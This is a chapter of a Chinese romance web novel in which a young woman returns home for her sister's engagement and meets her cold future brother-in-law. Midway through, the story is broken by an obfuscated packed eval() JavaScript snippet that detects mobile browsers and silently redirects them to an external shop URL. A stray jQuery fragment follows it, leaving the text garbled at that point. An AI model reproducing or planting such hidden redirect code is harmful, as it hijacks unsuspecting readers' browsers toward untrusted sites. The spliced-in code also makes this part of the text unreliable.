“下周你姐姐订婚,你也在外面这么多年了,回来吧。”
-
沪市的7月,一如多年前出国时那样,空气黏糊糊的,就连吹来的风也是热的。
周边人群步伐匆匆,白清窈拉着行李箱走到路牌边,等司机过来。
身后传来一道低沉而带磁性的声音,让她不自觉回头。
机场外的大屏上正播放着财经新闻采访,屏幕里,一个五官立体又英俊的男人,穿着一身裁剪得体的黑色西装,正坐在椅子上,面目沉静地看向主持人。
她知道这个男人,如今盛誉地产的掌权人,也是即将成为她姐夫的人。
正想着,一辆黑色宾利在她面前停下,一个中年男人从车上下来,小步跑到她面前。
多年未见,他的容貌并未有太大变化,只不过鬓角的白发多了不少,白清窈浅浅一笑,“钟叔,好久不见。”
钟达弯了弯腰,恭敬道:“二小姐。”
见她额上冒着汗珠,顾不上寒暄,钟达赶紧拉开后座车门,让人上车。
等车子驶向主路,他透过后视镜,见身后的人支着下巴,面色宁静看向窗外,心下暗自算了算时间。
该有六年没见过二小姐了。
沪市的交通没有想象中的那样堵,车子在黑夜中穿梭,最后,停在一栋私家别墅前。
黑色大门缓缓打开,院子里亮着柔和的灯光,正中央的喷泉向上冒着水柱。
廊下,一个鎏金鸟笼挂在那儿,里面两只白蓝相织的鹦鹉正扑闪着翅膀,见到有人,开始叽叽喳喳地叫着。
白清窈站在那儿,视线虚虚落在上面。
清晰的脚步声从身后传来,她眼睫颤了颤,扶着行李箱的手不自觉收紧。
她慢慢转过身,多年过去,父亲白时安还是老样子。
即使在家里,也是西装革履,眼角处多了皱纹,虽没了年轻时的俊朗,但身姿挺拔,让他看着反倒更儒雅了。
“爸爸。”
白时安视线在她身上停留几秒,六年不见,她身上的稚气早已消失不见,倒是那双眼睛,还和小时候一样,干净澄澈。
把手中还拿着的球杆立到一边,“都长这么大了。”
白清窈压下心底涌上来的酸涩,朝别墅里望了过去,“妈妈和姐姐不在家吗?”
“你姐和你姐夫忙着明天的订婚宴安排,你妈妈在里面。”
几年未联系过,白清窈突然不知道该怎么和他相处,往日的亲密也随着时间荡然无存,一瞬间,尴尬在两人中间蔓延。
直到佣人从别墅里出来,打破无声的沉默。
进门时,白清窈正好撞上从楼上下来的柳娴。
“妈妈。”
喊完,只见下楼的人脚步一顿,下一秒,落在她身上的视线收回,没有理她,反而扬声吩咐佣人开饭。
白清窈眼底暗了一瞬,把行李箱递给佣人,确定调整好表情,才朝餐厅走去。
餐桌上,菜一一被人端上来,辣味涌上鼻尖,白清窈拿筷子的手顿了顿。
白时安没注意她的动作,指了指面前的香辣蟹,“你小时候不是喜欢吃?尝尝看,和之前的味道一样不一样?”
不过,不等白清窈有所动作,他又说起其他事,“这次回来就别走了,你姐姐和陆家联姻,对我们来说完全是锦上添花的事儿,光是订婚的消息一出,公司股价就上涨不少。”
不等她反应,“你也24岁了,不小了,我几个朋友家的儿子,年龄和你相仿,到时候,我们大人约着,让你们见见面。”
白清窈愣了下,压住脾气,“我不想相亲,而且,我已经定好了回意大利的机票。”
“还有,爸爸,这就是你让我回来的原因?”
她原本以为爸爸给她打电话,除了让她回来参加姐姐的订婚宴外,还有他和柳娴想她的原因。
看来是自己想多了。
面对女儿的质问,白时安脸色没了刚才的温和,声音严厉,“原因重要吗?重要的是,我现在允许你回来了。”
“机票买了就退掉,一张机票钱,白家还是出得起的,你真以为,出国几年就不是白家的女儿了?”
听他说到出国的事,白清窈忍不住呛声,“如果你们真当我是白家女儿,就不会在我身体还没好的时候,把我送出去。”
白清窈不想怨他们,但每次想到18岁那个暑假,心里那股郁结怎么也压不下来。
刚才还算和谐的场面骤然被撕裂一角,空气瞬间凝固。
就在僵持不下之际,一道清脆的玻璃声在耳边响起。
父女俩同时看向发出声音的地方,柳娴轻扯嘴角,“不好意思,手滑了,沈妈!过来收拾一下。”
她的声音带着疏离又暗含不满。
白清窈没想过一回来就把家里气氛搞砸,她放下筷子,“对不起,我吃好了,晚上我住哪个房间?”
白时安心知不能着急,软下声音,“还是你之前的房间,已经让人收拾好了,早点休息,明早化妆师会来家里。”
白清窈拿起手机,起身,“知道了。”
别墅二楼最外侧的那间是她的卧室,原以为之前的东西都会被处理干净,却不想,里面没有多大变化,就连墙上还贴着她小学时画的全家福。
看着那张纸,突然一股气涌上心头,她快步上前,一把将那幅画撕了下来。
-
清晨,阳光透进白色的纱帘,在地面留下光影。
耳边是悦耳的铃声,但即使再优美好听的曲子,在大早上只会让人觉得烦躁。
白清窈伸手,关掉闹钟,又眯了几分钟,等她洗漱好下楼,家里已经没有白时安和柳娴的身影。
见她下来,沈妈把早餐放上餐桌,“二小姐,行李需要帮您放房间吗?”
白清窈点了点头,“直接放到衣帽间就好,谢谢沈妈。”
昨晚光顾着生气,行李都没拿上楼,好在卧室里的洗漱用品和睡衣都备了新的,她也就没再下来拿。
客厅,穿着制服的几个工作人员正整理着架子上的礼服,听见动静,为首的领班停了手里的动作。
看着面前的女人,她眼里闪过惊艳。
一张素净的小脸,未施粉黛,却已超出大部分人妆后的效果,洁白如雪的肌肤掩在法式长裙之下,红唇饱满,鼻梁高挺。
一双丹凤眼望过来时,清清冷冷的,宛如夜间的明月。
实属难得的美人。
回过神,她躬了躬身子,“二小姐,夫人和先生先去酒店了,您化好妆后,司机会送您去过去。”
白清窈把长发散了下来,柔声回道:“知道了。”
-
明海酒店
一辆辆价格不菲的车停在酒店门口,白清窈从车上下来,到大厅时,正好看见白时安在和别人说话。
看着前方有说有笑的两人,她拿着手里的包,朝白时安走去。
“爸爸。”
听见声音,白时安回头,“来了。”
说着,拉过白清窈,向人介绍,“这是我小女儿,一直在国外,这不是她姐姐订婚,昨天才回来。”
男人看着白清窈,脸上闪过一抹诧异,很快又收起,“白总真是好福气,两个女儿,一个比一个漂亮,如今,更是有了陆总这么厉害的女婿,真是人生赢家啊!”
这次陆白两家联姻,可谓是惊掉众人下巴,白家虽不是什么小门小户,但直接勾上陆家这条大鱼还是不免让人吃惊。
要说陆家,可算是沪市的顶级豪门了。
陆老爷子陆津梁背靠祖上基业,创建了地产公司,在当时那个年代,几乎独揽沪市全部房产资源。
后来,家业越做越大,最后直接将集团业务扩展到了国外。
到了孙子陆鹤年这一辈,妥妥的富三代,但他从哈佛学成归来接手公司后,因着不满足自家产业过于单一,便开始在各个行业砸钱投资。
可能隔代遗传了陆老爷子优秀的基因,从他回国,又创立自己的投资公司,不到五年时间,就参与投资并持有几十家上市公司的股份。
陆家如今的势力,一般人想巴结都巴结不了。
想到这儿,他眸子一亮,“以后,还请白总不要忘了兄弟间的情意,多帮衬帮衬。”
白时安摆了摆手,眼底却是藏不住的笑意,“哪里,哪里。”
酒店聚的人慢慢变多,白时安让白清窈先上楼。
电梯在35层停下,一进宴会厅,只见金色水晶吊灯依靠镀金的托架半垂在空中,两边的墙壁,香槟色幕布由上倾泻下来。
圆桌上铺着白色桌布,上面摆放的烛台刻着蛇形雕塑,餐桌上,白玫瑰与红玫瑰缠绕,错落摆在烛台中间。
厅内很大,最前面是布置好的婚宴舞台,两侧围满鲜花,白清窈原本飘忽的视线忽然在人群中定格。
宴会厅中央,一个身着白色抹胸长裙,画着精致妆容的女人正和身边人说话,不知道男人说了什么,她明艳的脸颊浮上一抹红晕。
似是害羞,她轻拍下男人的胳膊,又往他身边靠近了些,而男人刚好伸出手,搂住她的腰。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17887464|212603||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
她那副笑靥如花的样子,自己和她姐妹多年也从未见过。
正想着,白清窈和女人撞上了视线,看见她,女人眼里的惊讶要溢出来。
“清窈?”
白知雨拍了拍覆在后腰的手,提起裙摆,朝白清窈站的位置走去。
“姐姐。”白清窈叫了声。
白知雨目光一顿,脸上还扬着未收回的笑意,“你什么时候回来的,怎么不告诉我,这么多年在国外乐不思蜀?连家都不回了?”
白清窈避重就轻,“昨天回来的,怎么,你不想我回来吗?”
白知雨轻捶她胳膊,“怎么会?”想到什么,她转头看向旁边,声音娇软,“鹤年,这是我妹妹,白清窈。清窈,这是你姐夫,陆鹤年。”
白清窈抬眼,看向对面。
他看起来应该有1米九,最重要的是,他比她昨天在屏幕里见的更要好看。
一身戗驳领黑色西服,身姿挺拔,端着酒杯的手冷白,被精心打理过的头发梳在脑后,露出精致眉眼,高挺的鼻梁下那双薄唇紧抿。
两人对视时,那双桃花眼毫无波动,眼底的平淡清晰可见。
总归以后是一家人,白清窈迎着他的视线,乖乖喊了声:“姐夫好。”
恰巧,旁边有宾客端着酒杯过来,喊了声“陆总”,白清窈只见陆鹤年对她轻点了下头,便挪开视线,转身和那人交谈起来。
白知雨见状,替陆鹤年说话,“可别生你姐夫的气,今天来的宾客都是和陆家合作多年的商业伙伴,不好怠慢。”
白清窈笑了笑,没说话。
忽然想到好友谢婉宁之前和她说过的话,“陆鹤年这人,你就算在他面前快死了,他都不一定帮你叫救护车。”
以往都是听好友的抱怨,这次见到真人,虽然不知道有没有她说的那样夸张,但感觉他不好相处倒是真的。
任由姐姐拉着手腕,白清窈亦步亦趋跟在她身后。
把人安置在主宾席位,白知雨说道:“你先在这儿坐着,一会儿爸妈,还有陆鹤年爷爷,奶奶过来,婚宴就能开始了。”
白清窈愣了一下,订婚这么大的事,男方父母不用出席?
“姐夫的爸,妈不来吗?”
闻言,白知雨脸色稍变,但也只说:“嗯,他们不来。”
婚宴在12点正式开始。
宴会厅内放着轻柔的音乐,白知雨挽着陆鹤年手臂缓缓走向舞台,主持人简单寒暄之后,有人拿了订婚书上来。
白清窈在台下看着他们签字,接着交换订婚戒指,离得有点近,她能看见姐姐为陆鹤年戴戒指时,脸上那抹明显的笑意。
她身上那种幸福感是掩藏不了的。
反观要成为她姐夫的人,目光冷静,一点一点看着那枚戒指被推入中指。
因着陆鹤年父母未到场的原因,中间直接省去了改口环节,不过,似乎也没人在意。
间隙,侍者推上来一个七层高的蛋糕,蛋糕周身围着鲜红的玫瑰花,中间有珍珠点缀,光滑的奶油糕身上嵌着金珠。
随着蛋糕被人用锋利的银质长刀切开,仪式也顺利结束。
席间,有小孩子在厅内追逐,白清窈的礼服不小心被他们手中的糕点蹭上。
纸巾擦不干净,她拿过身后的手包,起身往洗手间走去。
等她处理好,从洗手间出来,刚过转角,迎面撞上一个坚硬的胸膛。
银色手包也因为冲撞,掉到地上,卡扣没扣好,里面的东西散落在地。
白清窈顾不上额头的疼,蹲下身子,有个东西摔得有点远,就在她伸手去够时,一双骨节分明的手先一步碰上那个挂件。
不同于她手的冰凉,掌心下的触感温热,又坚硬,她猛然抬眼,撞上一双幽深的眸子。
“姐夫。”
白清窈赶紧收回覆在他手背上的手,起身。
“等仪式结束,我回公司再说。”
朝那边说了句,陆鹤年挂断电话看向对面。
灯光下,女人身上那件墨绿色吊带长裙,衬得她皮肤白皙如玉,长发散在肩头,耳垂上一条流苏耳环,在空中微微晃动。
整个人透着清冷。
但看见他捡到的东西时,那双漂亮的眸子,又染上了一丝惊慌。
他低头,随意瞥了眼手心里的东西,等看清照片上的人时,眉心猛然皱起。
再抬眼,视线落在他的妻妹身上。
她没看他,只盯着他手里的小相框。
难得的,他勾唇轻笑,“你身边站着的是你男朋友?”